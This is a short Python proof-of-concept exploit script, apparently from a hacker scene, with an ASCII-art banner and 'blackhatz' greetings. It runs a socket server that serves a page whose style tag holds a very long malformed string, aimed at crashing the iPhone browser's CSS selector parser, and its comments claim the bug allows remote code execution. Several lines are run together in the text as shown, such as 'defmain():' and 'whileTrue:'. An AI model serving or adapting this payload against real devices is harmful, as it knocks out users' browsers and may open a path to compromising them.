#!/usr/bin/python# ,#dM#MMr# 4MMML.# MMMMM.xf# ."M6MMM .MM-#Mh..+MM5MMM.MMMM#.MMM. .MMMMML.MMMMMh# )MMMh.MM5MMM MMMMMMM#3MMMMx. 'MMM3MMfxnMMMMMM"#'*MMMMMMMMMMM. nMMMMMMP"#*MMMMMx"MMM5M\.MMMMMMM=# *MMMMMh "MMMMM" JMMMMMMP# MMMMMM GMMMM.dMMMMMM.#MMMMMM"MMMM.MMMMM(.nnMP"# ..*MMMMxMMM"dMMMM".nnMMMMM*#"MMn... 'MMMMr 'MM MMM" .nMMMMMMM*"# "4MMMMnn.. *MMMMMMMP".dMMMMMMM""# ^MMMMMMMMx.*ML "M .M*.MMMMMM**"#*PMMMMMMhn. *x > M.MMMM**""# ""**MMMMhx/.h/ .=*"#.3P"%....# [t12]nP" "*MMnx # SMOKE WEED#greetz to my blackhatz and baycatz#iPhone CSS::Selector crash#this Python script acts as a web server and sends a malformed long string to the CSS <style> tag#this is a remote crash bug, hoever an analysis of the debug dump shows remote code execution capability, I am just lazyimport sys, socket;defmain():
junk ="*>"*120000;
html ="""
<html>
<head>
<style type="text/css">
""";
html += junk;
html +="""
body {background: blue;}
</style>
</head>
</html>
""";
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.bind(('',2121));
s.listen(1);whileTrue:
channel, details = s.accept();print channel.recv(1024);
channel.send(html);
channel.close();
main();